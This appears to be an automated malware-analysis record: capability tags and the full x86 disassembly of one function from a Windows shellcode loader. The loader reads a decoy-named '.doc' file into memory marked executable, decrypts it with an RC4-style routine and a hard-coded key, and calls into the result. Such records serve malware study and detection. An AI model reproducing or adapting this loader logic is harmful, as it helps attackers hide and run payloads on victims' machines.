Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x488
mov eax, dword [0x10013004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x210]
push 0
push eax
call fcn.10002270
push 0x104
lea eax, [ebp - 0x418]
push 0
push eax
call fcn.10002270
add esp, 0x18
lea eax, [ebp - 0x210]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push str.K7AVWScn.doc
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push 0
push 0
push 3
push 0
push 1
push 0xa0000000
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x100012a0
push 0x40
push 0x1000
push 0x200000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x47c], eax
test eax, eax
je 0x100012a0
push 0
lea ecx, [ebp - 0x41c]
mov dword [ebp - 0x41c], 0
push ecx
push 0x200000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100012a0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x41c]
push 0x100
mov dword [ebp - 0x478], eax
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.10002270
push 0x100
lea eax, [ebp - 0x310]
push 0
push eax
call fcn.10002270
add esp, 0x18
xor eax, eax
nop word [eax + eax]
mov byte [ebp + eax - 0x108], al
inc eax
cmp eax, 0x100
jb 0x10001140
xor ecx, ecx
mov eax, ecx
and eax, 0xf
mov al, byte [eax + str.dhe__86HGsa00wga]
mov byte [ebp + ecx - 0x310], al
inc ecx
cmp ecx, 0x100
jl 0x10001151
xor edi, edi
xor esi, esi
mov dl, byte [ebp + esi - 0x108]
movzx eax, byte [ebp + esi - 0x310]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x10001196
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x108]
mov byte [ebp + esi - 0x108], al
inc esi
mov byte [ebp + edi - 0x108], dl
cmp esi, 0x100
jl 0x10001170
xor esi, esi
xor edi, edi
mov dword [ebp - 0x474], esi
cmp dword [ebp - 0x478], esi
jle 0x1000123e
inc edi
and edi, 0x800000ff
jns 0x100011d7
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [ebp + edi - 0x108]
movzx edx, cl
add esi, edx
and esi, 0x800000ff
jns 0x100011f3
dec esi
or esi, 0xffffff00
inc esi
movzx eax, byte [ebp + esi - 0x108]
mov byte [ebp + edi - 0x108], al
mov byte [ebp + esi - 0x108], cl
movzx eax, byte [ebp + edi - 0x108]
mov ecx, dword [ebp - 0x47c]
add eax, edx
mov edx, dword [ebp - 0x474]
movzx eax, al
movzx eax, byte [ebp + eax - 0x108]
xor byte [edx + ecx], al
inc edx
mov dword [ebp - 0x474], edx
cmp edx, dword [ebp - 0x478]
jl 0x100011c6
jmp 0x10001244
mov ecx, dword [ebp - 0x47c]
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x470], xmm0
movups xmm1, xmmword [ecx + 0x10]
movaps xmmword [ebp - 0x460], xmm1
movups xmm0, xmmword [ecx + 0x20]
movups xmmword [ebp - 0x450], xmm0
movups xmm0, xmmword [ecx + 0x30]
movups xmmword [ebp - 0x440], xmm0
movq xmm0, qword [ecx + 0x40]
movq qword [ebp - 0x430], xmm0
mov eax, dword [ecx + 0x48]
add ecx, 0x4c
mov dword [ebp - 0x428], eax
movd eax, xmm1
add eax, ecx
mov dword [ebp - 0x460], eax
lea eax, [ebp - 0x470]
push eax
call ecx
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000133b
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret